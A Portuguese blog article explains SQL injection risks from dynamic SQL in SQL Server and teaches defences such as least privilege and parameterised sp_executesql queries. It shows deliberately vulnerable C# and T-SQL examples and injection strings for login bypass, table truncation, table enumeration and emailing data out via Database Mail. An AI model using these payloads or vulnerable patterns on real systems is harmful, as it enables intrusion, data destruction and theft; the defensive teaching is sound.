- Auditoria no SQL Server (Server Audit)
- Como criar uma auditoria para monitorar a criação, modificação e exclusão de Jobs no SQL Server
- Como criar uma trigger de Auditoria para logar a manipulação de objetos no SQL Server
- SQL Server – Como implementar auditoria e controle de logins (Trigger de Logon)
- Monitorando operações de DDL e DCL utilizando a fn_trace_gettable do SQL Server
- Utilizando o trace padrão do SQL Server para auditar eventos (fn_trace_gettable)
- SQL Server – Trigger de auditoria de permissões e privilégios a nível de database e instância (GRANT e REVOKE)
- SQL Server – Como monitorar e auditar alterações de dados em tabelas utilizando Change Data Capture (CDC)
- SQL Server 2016 – Como “viajar no tempo” utilizando o recurso Temporal Tables
- SQL Server – Como utilizar auditoria para mapear permissões necessárias reais em um usuário
- SQL Server – Trigger para prevenir e impedir alterações em tabelas
- SQL Server – Como criar um histórico de alterações de dados para suas tabelas (logs para auditoria)
- SQL Server – Como evitar ataques de força bruta no seu banco de dados
- SQL Server – Checklist de Segurança – Uma SP com mais de 70 itens de segurança para validar seu banco de dados
- SQL Server – Como saber a data do último login de um usuário
- SQL Server – Como evitar e se proteger de ataques de Ransomware, como WannaCry, no seu servidor de banco de dados
- SQL Server – Cuidado com a server role securityadmin! Utilizando elevação de privilégios para virar sysadmin
- SQL Server – Como evitar SQL Injection? Pare de utilizar Query Dinâmica como EXEC(@Query). Agora.
- SQL Server – Entendendo os riscos da propriedade TRUSTWORTHY habilitada em um database
- SQL Server – Políticas de Senhas, Expiração de Senha, Troca de Senha Obrigatória e Bloqueio de Login após N tentativas
- SQL Server – Como criar uma auditoria de logins utilizando os logs da instância
Fala galera!
Nesse artigo eu gostaria de compartilhar com vocês quais os riscos de se utilizar Query Dinâmica no SQL Server através do comando EXECUTE e demonstrar formas seguras de se utilizar query dinâmica e que não sejam suscetíveis a ataques de SQL Injection.
O que é Query Dinâmica?
Clique para visualizar o conteúdoApós a string final ter sido construída, ela é processada pelo comando EXECUTE (ou EXEC, para os mais íntimos.. rs) e o que estiver nessa string será executada no banco de dados.
É muito importante observar que query dinâmica não é específica apenas para consultas montadas a partir do SQL Server. Um sistema pode fazer a mesma coisa, criando uma variável string no código-fonte C#, por exemplo, montar a string e depois enviar essa string para o banco de dados. Isso também é uma query dinâmica, mas montada dentro da aplicação e para o banco de dados, será apenas uma query ad-hoc que a aplicação está enviando.
Exemplo básico:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
DECLARE @Objeto VARCHAR(128) = 'sys.objects', @Nome_Objeto VARCHAR(128) = 'syscerts', @Query VARCHAR(MAX) -- Monta a nossa query dinâmica SET @Query = 'SELECT * FROM ' + @Objeto + ' WHERE [name] = ''' + @Nome_Objeto + '''' -- Mostra na tela a query final depois de montada SELECT @Query -- Executa o comando no banco EXEC(@Query) |
Resultado:
Como vocês podem visualizar, as possibilidades são infinitas utilizando Query Dinâmica. Desde fazer joins e definir as colunas retornadas por um SELECT até controlar filtros no WHERE. Um exemplo bem legal do ponto de vista de performance seria esse aqui (e que acontece demais):
Consulta original:
|
1 2 3 4 5 6 7 8 9 10 11 12 |
DECLARE @Schema_ID INT = 4, @Nome_Objeto VARCHAR(128) = 'syscerts', @Type VARCHAR(10), @object_id INT SELECT * FROM sys.objects WHERE (@Schema_ID IS NULL OR [schema_id] = @Schema_ID) AND (@Nome_Objeto IS NULL OR [name] = @Nome_Objeto) AND (@Type IS NULL OR [type] = @Type) AND (@object_id IS NULL OR [object_id] = @object_id) |
Esse monte de @variabel IS NULL OR [coluna] = @variavel no filtro WHERE da consulta, muitas vezes podem causar um problema de performance na consulta, pois o SQL terá que fazer várias validações no filtro para retornar os dados. Uma possível solução para isso seria utilizar justamente a query dinâmica:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
DECLARE @Schema_ID INT = 4, @Nome_Objeto VARCHAR(128) = 'syscerts', @Type VARCHAR(10), @object_id INT, @Query VARCHAR(MAX) -- Monta a base da nossa query dinâmica SET @Query = 'SELECT * FROM sys.objects WHERE 1=1' -- Aplica os filtros dinâmicamente IF (@Nome_Objeto IS NOT NULL) SET @Query += ' AND [name] = ''' + @Nome_Objeto + '''' IF (@Type IS NOT NULL) SET @Query += ' AND [type] = ''' + @Type + '''' IF (@Schema_ID IS NOT NULL) SET @Query += ' AND [schema_id] = ' + CAST(@Schema_ID AS VARCHAR(10)) IF (@object_id IS NOT NULL) SET @Query += ' AND [object_id] = ' + CAST(@object_id AS VARCHAR(10)) -- Mostra na tela a query final depois de montada SELECT @Query -- Executa o comando no banco EXEC(@Query) |
Resultado da execução:
Se formos analisar a query final gerada dinâmicamente e a query original, cheia de OR, vemos que a query dinâmica que é executada é bem mais simples que a consulta original. E isso se reflete no plano de execução e no custo de execução também:
Ou seja, a query dinâmica tem sua aplicabilidade justificável SIM, e é muito útil em N cenários, mas precisamos tomar muito cuidado com a sua utilização para não expor o nosso ambientes a ataques de SQL Injection.
O que é SQL Injection e o quão grave é isso ?
Clique para visualizar o conteúdoSe você está pensando que essa técnica deve ser bem complexa e elaborada, está muito enganado. Ela é até bem simples de ser utilizada e um invasor pode utilizá-la em campos de texto de uma aplicação, como uma tela de Login por exemplo, que envia uma query dinâmica para o banco a fim de verificar se o usuário e senha informados estão corretos.
Exemplo 1 – Logando no sistema sem autorização
Imaginem um cenário com a seguinte tabela no seu banco, utilizada para cadastro dos usuários e autenticação de uma forma bem simples:
|
1 2 3 4 5 6 7 8 |
CREATE TABLE dbo.Usuarios ( Id_Usuario INT IDENTITY(1,1) NOT NULL PRIMARY KEY CLUSTERED, Ds_Email VARCHAR(200) NOT NULL, Ds_Senha VARCHAR(100) NOT NULL ) INSERT INTO dbo.Usuarios |
E agora imaginem que a sua aplicação C# possui o seguinte código para validar o e-mail e senha:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
try { using (var conn = new SqlConnection(dadosConexao)) { conn.Open(); using (var cmd = new SqlCommand()) { cmd.CommandType = CommandType.Text; cmd.Connection = conn; /* Olha a nossa query dinâmica aqui :) */ var dsQuery = "SELECT 1 FROM dbo.Usuarios WHERE Ds_Email = '" + email + "' AND Ds_Senha = '" + senha + "'"; cmd.CommandText = dsQuery; var retorno = cmd.ExecuteScalar(); if (retorno != null && retorno = "1") Login.autenticaUsuario(); else Login.retornaErro(); } } } catch (Exception e) { Retorno.Erro("Erro : " + e.Message); } |
O que vai chegar no banco é a consulta que a aplicação montou. Se um usuário malioso tenta realizar um ataque de SQL Injection, utilizando uma abordagem simples, como colocando a string “‘ OR ‘x’=’x’–” no campo do usuário e clicando no botão de “Login” da aplicação, essa é a consulta que vai chegar no banco de dados:
|
1 |
SELECT * FROM dbo.Usuarios WHERE Ds_Email = '' OR 'x'='x'--' AND Ds_Senha = '' |
Resultado: O invasor conseguiu logar no sistema
E acredite em mim. Existem MUITAS strings como essa para realizar ataques de SQL Injection.
Exemplo 2 – Apagando e visualizando dados
Nesse mesmo exemplo acima, em uma simples tela de logon, observem que uma string simples como “‘; TRUNCATE TABLE dbo.Usuarios;–” pode causar grandes transtornos na vida de um DBA ao simplesmente APAGAR todos os dados da tabela de Usuários do sistema.
É claro que o invasor ainda precisa descobrir o nome das tabelas do sistema e, no cenário acima, essa tarefa acaba sendo complicada pois a query não retorna muitos dados, apenas uma validação. Mas se isso for em uma tela de consulta, por exemplo, onde os dados retornados são mostrados em uma tabela na tela, aí temos um cenário ideal para realizar um ataque ao utilizarmos uma string como “‘; SELECT name, name, name, name FROM sys.tables; –” num campo de busca, por exemplo, que sabemos que está mostrando 4 colunas na tela.
Query que acaba sendo enviada para o banco de dados:
|
1 2 3 |
SELECT cpfcnpj, FirstName, [Uid], ID FROM dbo.Tabela WHERE cpfcnpj = ''; SELECT name, name, name, name FROM sys.tables; --' |
Resultado:
E aí o invasor agora tem o nome das tabelas que existem no database.. O que deixou a “brincadeira” bem mais interessante agora, pois ele pode apagar dados de qualquer uma dessas tabelas ou visualizar esses dados pelo próprio sistema. E se ele pudesse enviar os dados da tabela por e-mail ? Hummm..
Utilizando a string “‘; EXEC msdb.dbo.sp_send_dbmail @recipients = ‘[email protected]’, @subject = ‘Teste’, @query = ‘SELECT * FROM Usuarios’ –“, o invasor consegue utilizar o DatabaseMail instalado no servidor do banco de dados para enviar os resultados de uma query para ele mesmo e visualizar os dados do banco:
Ou seja, a ideia aqui é mostrar o quão perigoso são ataques de SQL Injection. Isso porque nem vou demonstrar como utilizar o xp_cmdshell para executar comandos a nível de sistema operacional no servidor.. Dá até pra baixar ransomware remotamente e executar no servidor. Tudo isso através de um simples campo de busca no sistema.
Como posso me proteger contra o SQL Injection?
Clique para visualizar o conteúdoDica 1 – Restrição de permissões a nível de database
O primeiro passo para conter esse tipo de ataque, é limitar primeiro o alcance do ataque e depois tentamos evitar que ele aconteça.
Sim, é isso mesmo. Parece estranho, mas é que você conseguir limitar até onde um ataque desses pode chegar, costuma ser um processo muito mais rápido de se implementar no ambiente e por isso eu prefiro começar por esse passo.
É claro que essa minha generalização é baseada em cenários tradicionais e deve ser avaliada sim, pois o seu cenário pode ser diferente. Geralmente em cenários de grandes empresas, existem vários sistemas diferentes acessando a mesma instância, com dezenas de Stored Procedures com query dinâmica, fora as várias consultas ad-hoc que são frutos de query dinâmicas montadas na aplicação e enviadas para o banco.
Avaliar e tratar todas essas portas de entrada costuma ser algo bem demorado de se fazer. Justamente por isso, eu recomendo começar restringindo as permissões dos usuários das aplicações. É muito incomum um usuário de sistema precisar de permissões que vão além de leitura/escrita no(s) database(s) que o sistema acessa. Permissões a nível de instância são muito raras de serem realmente necessárias para usuários de sistemas.
E não venha me falar que você sempre libera permissão de db_owner não hein! Vamos parar com isso HOJE. Uma permissão de db_owner carrega implícitamente outras permissões não necessárias como IMPERSONATE, que é tão perigosa para auditorias, e também permissão de visualizar e listar os databases, mesmo que ele não tenha a permissão de VIEW ANY DATABASE.
Na grande maioria dos casos, uma aplicação pode precisar de, no máximo, permissão geral de EXECUTE no database e estar nas database roles db_datareader, db_datawriter e talvez, db_ddladmin. Se você é daqueles DBA’s que libera permissão de db_owner para o usuário da aplicação porque é mais prático, sugiro ler o artigo SQL Server – Entendendo os riscos da propriedade TRUSTWORTHY habilitada em um database, que mostra o que um usuário db_owner pode fazer em um ambiente onde o database possui o parâmetro TRUSTWORTHY habilitado. Mesmo se não estiver, ele terá permissão para utilizar IMPERSONATE, o que já é bem perigoso.
Dica 2 – Restrição de permissões a nível de instância
Infelizmente, o que a gente vê no dia a dia ? Aplicação conectando no banco com usuário SA ou usuário da aplicação com permissão de sysadmin. Ou seja, imaginem o cenário em que você tem um sistema Web bem simples para atender uma necessidade especifica do setor comercial da empresa. Esse sistema é só um cadastro de forncedor, que não é nem tão crítico para a empresa. E esse sistema conecta no banco com o usuário sa. Um invasor encontra uma brecha utilizando esse usuário sysadmin e aplica um SQL Injection na instância que contém todos os sistemas da empresa..
Dados de toda a empresa capturados e depois criptografados com sucesso! E tudo isso a partir de um sistema que nem era o Core da empresa. Ou seja, o primeiro passo para evitar esse tipo de ataque, é limitar as permissões das aplicações e em quais databases essa aplicação pode ler/escrever dados. Se um sistema não acessa/altera nenhuma tabela de outro banco, por quê ele tem essa permissão ?
Além disso, o simples fato da aplicação não ter permissões de sysadmin, o invasor não conseguirá ativar recursos que estão desativados, como xp_cmdshell, por exemplo, e também não poderá executar comandos críticos como xp_cmdshell, enviar e-mails utilizando o Database Mail, etc.
Por todos os motivos citados acima é que é imprescindível limitar a permissão dos usuários de aplicações a nível de instância. A ideia é que nem tenha essa permissão. Utilizar usuário SA ou usuários com permissão sysadmin é algo impensável e injustificável.
Dica 3 – Restrição de permissões a nível de sistema operacional (SO)
Para fechar essa parte de permissões, precisamos também limitar as permissões do usuário do SQL Server no sistema operacional. Vemos em muitas empresas o usuário do serviço do SQL Server com permissões de Administrador local do servidor ou até mesmo, Domain Admin (Permissão máxima dentro do Active Directory. Pode fazer TUDO em QUALQUER servidor).
Esse tipo de permissão potencializa muito o efeito desses ataques de SQL Injection. Então o mais correto é se limitar o usuário dos serviços do SQL Server, que é quem executa os comandos a nível de Sistema Operacional quando você executa um xp_cmdshell, por exemplo, para um usuário com a menor permissão necessária.
Dica 4 – Identificar as consultas dinâmicas do ambiente
Como eu mencionei acima, a parte de permissões costuma ser mais rápida de implementar e por isso, opto por fazê-la antes de qualquer coisa. Agora vamos mudar o nosso foco para evitar os ataques, mas precisamos identificar quais as possíveis portas de entrada para ataques de SQL Injection, ou seja, onde estamos utilizando Query Dinâmica no nosso ambiente.
A nível de aplicação e sistema, esse trabalho deve ser realizado pela equipe de Sistemas/Desenvolvimento, varrendo todo o código-fonte em busca de locais que utilizem query dinâmica e aplicando o tratamento disso na aplicação, até porque, quando a consulta é montada na aplicação, o banco não tem como diferenciar o que é query dinâmica ou não para tentar tratar isso no banco.
A nível do banco de dados, quando existem Stored Procedures que utilizam dessa técnica de query dinâmica, podemos utilizar uma query T-SQL para identificar todas essas SP’s e avaliar quais podem ser utilizadas para ataques de SQL Injection. Geralmente eu avalio apenas Procedures que possuem parâmetros do tipo string (varchar, nvarchar, char, nchar) e com tamanho maior que 10. Parâmetros numéricos e strings curtas são bem difíceis de serem utilizadas para SQL Injection.
Para identificar essas Stored Procedures, você pode utilizar a query abaixo:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
DECLARE @Objetos_Query_Dinamica TABLE ( [Ds_Database] nvarchar(256), [Ds_Objeto] nvarchar(256), [Ds_Tipo] nvarchar(128), [definition] VARCHAR(MAX) ) IF (OBJECT_ID('tempdb.dbo.#Palavras_Exec') IS NOT NULL) DROP TABLE #Palavras_Exec CREATE TABLE #Palavras_Exec ( Palavra VARCHAR(100) COLLATE SQL_Latin1_General_CP1_CI_AI ) INSERT INTO #Palavras_Exec VALUES('%EXEC (%'), ('%EXEC(%'), ('%EXECUTE (%'), ('%EXECUTE(%'), ('%sp_executesql%') INSERT INTO @Objetos_Query_Dinamica EXEC sys.sp_MSforeachdb ' IF (''?'' <> ''tempdb'') BEGIN SELECT DISTINCT TOP(100) ''?'' AS Ds_Database, B.[name], B.[type_desc], A.[definition] FROM [?].sys.sql_modules A WITH(NOLOCK) JOIN [?].sys.objects B WITH(NOLOCK) ON B.[object_id] = A.[object_id] JOIN #Palavras_Exec C WITH(NOLOCK) ON A.[definition] COLLATE SQL_Latin1_General_CP1_CI_AI LIKE C.Palavra WHERE B.is_ms_shipped = 0 AND ''?'' <> ''ReportServer'' AND B.[name] NOT IN (''sp_WhoIsActive'', ''sp_showindex'', ''sp_AllNightLog'', ''sp_AllNightLog_Setup'', ''sp_Blitz'', ''sp_BlitzBackups'', ''sp_BlitzCache'', ''sp_BlitzFirst'', ''sp_BlitzIndex'', ''sp_BlitzLock'', ''sp_BlitzQueryStore'', ''sp_BlitzWho'', ''sp_DatabaseRestore'') AND NOT (B.[name] LIKE ''stp_DTA_%'' AND ''?'' = ''msdb'') AND NOT (B.[name] = ''sp_readrequest'' AND ''?'' = ''master'') AND EXISTS ( SELECT NULL FROM [?].sys.parameters X1 WITH(NOLOCK) JOIN [?].sys.types X2 WITH(NOLOCK) ON X1.system_type_id = X2.user_type_id WHERE A.[object_id] = X1.[object_id] AND X2.[name] IN (''text'', ''ntext'', ''varchar'', ''nvarchar'') AND (X1.max_length > 10 OR X1.max_length < 0) ) END' SELECT * FROM @Objetos_Query_Dinamica |
Resultado:
Agora é só identificar, validar e analisar as consultas que aparecem nessa consulta e verificar se elas são suscetíveis a ataques de SQL Injection e sempre que possível, trocar o comando EXECUTE por sp_executesql. No próximo tópico vou mostrar o motivo.
Dica 5 – Trate as consultas dinâmicas
E agora chegou a parte onde devemos tratar as nossas consultas, finalmente.
A nível de aplicação e sistema, esse trabalho deve ser realizado pela equipe de Sistemas/Desenvolvimento, varrendo todo o código-fonte em busca de locais que utilizem query dinâmica e aplicando o tratamento disso na aplicação, como eu já havia comentado no tópico anterior. Existem várias formas de se evitar isso na aplicação, como consultas parametrizadas, que vão barrar qualquer tipo de SQL Injection que um invasor possa tentar atacar.
A nível de banco de dados, você deve utilizar a query que compartilhei no tópico anterior para identificar as consultas que utilizem query dinâmica. O primeiro passo é analisar se realmente essa consulta precisa ser dinâmica. Acreditem, já vi muitos casos em que se utilizava query dinâmica sem necessidade alguma, como vou demonstrar abaixo:
|
1 2 3 4 5 6 7 8 9 10 |
ALTER PROCEDURE dbo.stpConsulta_CPF ( @CPF VARCHAR(14) ) AS BEGIN DECLARE @Query VARCHAR(MAX) = 'SELECT * FROM dbo._Teste WHERE CPF = ''' + @CPF + '''' EXEC(@Query) END |
Observem que no exemplo acima, a utilização de Query dinâmica é altamente evitável:
|
1 2 3 4 5 6 7 8 9 10 11 |
ALTER PROCEDURE dbo.stpConsulta_CPF ( @CPF VARCHAR(14) ) AS BEGIN SELECT * FROM dbo._Teste WHERE CPF = @CPF END |
Bem mais seguro agora e ficamos livres do SQL Injection nesse exemplo. 🙂
A consulta realmente precisa ser dinâmica? Então o segundo passo é trocar, sempre que possível, os comandos de EXECUTE por sp_executesql, uma vez que a segunda opção permite a parametrização das consultas. Vou até utilizar o exemplo que já mostrei aqui.
Query dinâmica com EXECUTE:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
DECLARE @Schema_ID INT = 4, @Nome_Objeto VARCHAR(128) = 'syscerts', @Type VARCHAR(10), @object_id INT, @Query VARCHAR(MAX) -- Monta a base da nossa query dinâmica SET @Query = 'SELECT * FROM sys.objects WHERE 1=1' -- Aplica os filtros dinâmicamente IF (@Nome_Objeto IS NOT NULL) SET @Query += ' AND [name] = ''' + @Nome_Objeto + '''' IF (@Type IS NOT NULL) SET @Query += ' AND [type] = ''' + @Type + '''' IF (@Schema_ID IS NOT NULL) SET @Query += ' AND [schema_id] = ' + CAST(@Schema_ID AS VARCHAR(10)) IF (@object_id IS NOT NULL) SET @Query += ' AND [object_id] = ' + CAST(@object_id AS VARCHAR(10)) -- Mostra na tela a query final depois de montada SELECT @Query -- Executa o comando no banco EXEC(@Query) |
Resultado:
Agora vamos fazer algumas alterações na consulta para utilizar a consulta parametrizada com sp_executesql:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
DECLARE @Schema_ID INT = 4, @Nome_Objeto VARCHAR(128) = 'syscerts', @Type VARCHAR(10), @object_id INT, @Query NVARCHAR(MAX) -- Monta a base da nossa query dinâmica SET @Query = 'SELECT * FROM sys.objects WHERE 1=1' -- Aplica os filtros dinâmicamente IF (@Nome_Objeto IS NOT NULL) SET @Query += ' AND [name] = @Nome_Objeto' IF (@Type IS NOT NULL) SET @Query += ' AND [type] = @Type' IF (@Schema_ID IS NOT NULL) SET @Query += ' AND [schema_id] = @Schema_ID' IF (@object_id IS NOT NULL) SET @Query += ' AND [object_id] = @object_id' -- Mostra na tela a query final depois de montada SELECT @Query -- Executa o comando no banco EXEC sys.sp_executesql @stmt = @Query, @params = N'@Nome_Objeto VARCHAR(128), @Type VARCHAR(10), @Schema_ID INT, @object_id INT', @Nome_Objeto = @Nome_Objeto, @Type = @Type, @Schema_ID = @Schema_ID, @object_id = @object_id |
Resultado:
E assim, temos o melhor dos mundos: Query flexível e customizável, rápida e segura.
Referências
Clique para visualizar o conteúdoÉ isso aí, pessoal!
Espero que tenham gostado desse artigo e vocês comecem a levar a segurança do seu ambiente mais a sério. Se você está preocupado com a segurança do seu ambiente e quer a opinião de um especialista no assunto, solicite agora mesmo o Check-up GRATUITO do seu banco de dados + análise de segurança: Será que você precisa ?.
Forte Abraço e até a próxima!
o que é como evitar se proteger sql server sql injection
o que é como evitar se proteger sql server sql injection
Portuguese 
English